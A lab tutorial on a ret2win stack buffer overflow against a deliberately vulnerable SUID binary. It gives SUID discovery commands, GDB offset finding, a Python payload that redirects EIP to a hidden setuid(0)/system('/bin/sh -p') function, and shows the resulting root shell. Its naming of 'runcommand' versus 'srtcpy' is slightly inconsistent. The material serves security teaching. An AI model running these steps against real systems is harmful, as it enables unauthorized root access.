This tutorial demonstrates how to exploit a stack buffer overflow vulnerability in a SUID binary to redirect execution to a hidden function. The target binary contains a function that spawns a privileged shell, but it’s never called during normal execution.
Note
Lab Binary This tutorial uses the
readerbinary from the Linux Exploitation Lab (01-hidden-function/). See the setup guide for build instructions.
Reconnaissance
Finding SUID Binaries
First, locate SUID binaries on the system that might be vulnerable:
find /usr/bin -perm -4000
# Or more comprehensively
find / -perm -u=s -type f 2>/dev/nullNote
SUID Binaries The SUID (Set User ID) bit is a special file permission that causes a binary to run with the file owner’s permissions rather than the executing user’s. If a SUID binary is owned by root, anyone who runs it temporarily gains root privileges. This is why SUID binaries are high-value targets: a vulnerability in one can lead to privilege escalation. Identify SUID binaries with
find / -perm -4000 -type f 2>/dev/null.
Initial Analysis
Use ltrace to trace library calls and identify potentially vulnerable functions:
ltrace ./readerIf you see calls to unsafe functions like strcpy with unusual parameters, the binary may be vulnerable.
Function Discovery with GDB
Load the binary in GDB and list all functions:
gdb -q ./readergdb-peda$ info functions
All defined functions:
Non-debugging symbols:
0x080484cb srtcpy
0x080484f5 runcommand
0x08048512 readUserData
0x0804854b mainNote
About
srtcpyNote:srtcpyis the actual function name in this binary, not a typo ofstrcpy. The binary author chose this name for the function that contains the vulnerablestrcpycall.
The runcommand function looks interesting. Let’s examine it.
We examine the srtcpy function because it contains the system() call that spawns a privileged shell; this is the hidden function we want to redirect execution to.
gdb-peda$ disas srtcpy0x080484cb <+0>: push ebp
0x080484cc <+1>: mov ebp,esp
0x080484ce <+3>: sub esp,0x8
0x080484d1 <+6>: sub esp,0xc
0x080484d4 <+9>: push 0x0
0x080484d6 <+11>: call 0x80483b0 <setuid@plt>
0x080484db <+16>: add esp,0x10
0x080484de <+19>: sub esp,0xc
0x080484e1 <+22>: push 0x8048600
0x080484e6 <+27>: call 0x8048390 <system@plt>Examine the string being passed to system():
gdb-peda$ x/s 0x8048600
0x8048600: "/bin/sh -p"This function calls setuid(0) followed by system("/bin/sh -p") - a privileged shell.
The -p flag tells the shell not to drop privileges. Without it, /bin/sh would detect that the real and effective UIDs differ (because of SUID) and drop back to the real user’s privileges, defeating the privilege escalation.
Finding the EIP Offset
Identifying the Overflow Point
Test with increasing buffer sizes to find where the crash occurs:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*1100)" | ./reader # Crashes
python3 -c "import sys; sys.stdout.buffer.write(b'A'*1000)" | ./reader # No crashCreating a Pattern
Use GDB-PEDA to create a unique pattern and find the exact offset:
gdb-peda$ pattern create 1200 pattern.txt
gdb-peda$ run < pattern.txt
SEGFAULT
EIP: 0x41426e41
gdb-peda$ pattern offset 0x41426e41
1094872641 found at offset: 1012Verifying the Offset
Create a test payload to confirm EIP control:
#!/usr/bin/env python3
import sys
payload = b"A"*1012 + b"BBBB"
sys.stdout.buffer.write(payload)Run it and verify EIP contains 0x42424242.
Crafting the Exploit
Redirecting to the Hidden Function
The target function is at 0x080484cb. Create the exploit:
#!/usr/bin/env python3
# exploit.py
import sys
payload = b"A"*1012 + b"\xcb\x84\x04\x08"
sys.stdout.buffer.write(payload)Generate the payload:
python3 exploit.py > input.txtKeeping stdin Open
When exploiting binaries that spawn a shell, you need to keep stdin open. Use this technique:
(cat input.txt; cat) | ./readerThe first cat sends the payload, and the second cat keeps stdin open for interactive shell access.
Getting Root
Execute against the SUID binary:
(cat input.txt; cat) | /usr/bin/reader
Provide root password:
Sorry, this is not correct.
whoami
rootFor a proper TTY shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'How the Redirect Works
The overflow overwrites the saved return address with the address of the hidden srtcpy function. Here is the stack before and after the overflow:
BEFORE OVERFLOW
┌──────────────────────────────┐
│ return address → caller │ EBP+0x04
├──────────────────────────────┤
│ saved EBP │ EBP
├──────────────────────────────┤
│ │
│ buffer[1012] │
│ (normal user data) │
│ │
├──────────────────────────────┤
ESP → (top of stack)
AFTER OVERFLOW
┌──────────────────────────────┐
│ 0x080484cb → srtcpy() │ EBP+0x04
│ calls setuid(0) │
│ then system("/bin/sh -p") │
├──────────────────────────────┤
│ AAAA (overwritten) │ EBP
├──────────────────────────────┤
│ │
│ AAAAAAA... (1012 bytes) │
│ │
├──────────────────────────────┤
ESP → (top of stack)The normal execution flow and the hijacked flow:
Normal:
readUserData() ──ret──→ main()
Exploited:
readUserData() ──ret──→ srtcpy()
│
├─ setuid(0)
└─ system("/bin/sh -p")
│
└─→ root shellWhen readUserData() executes ret, it pops 0x080484cb into EIP instead of the legitimate return address. Execution jumps directly into srtcpy(), which calls setuid(0) and then system("/bin/sh -p"), spawning a root shell.
Key Takeaways
- SUID binaries are high-value targets for privilege escalation
- Functions using
strcpywithout bounds checking are vulnerable to buffer overflows - Hidden functions in binaries can be discovered through static analysis
- When spawning shells through exploits, keep stdin open using the
(cat payload; cat)technique - The
-pflag in/bin/sh -ppreserves the effective UID, maintaining elevated privileges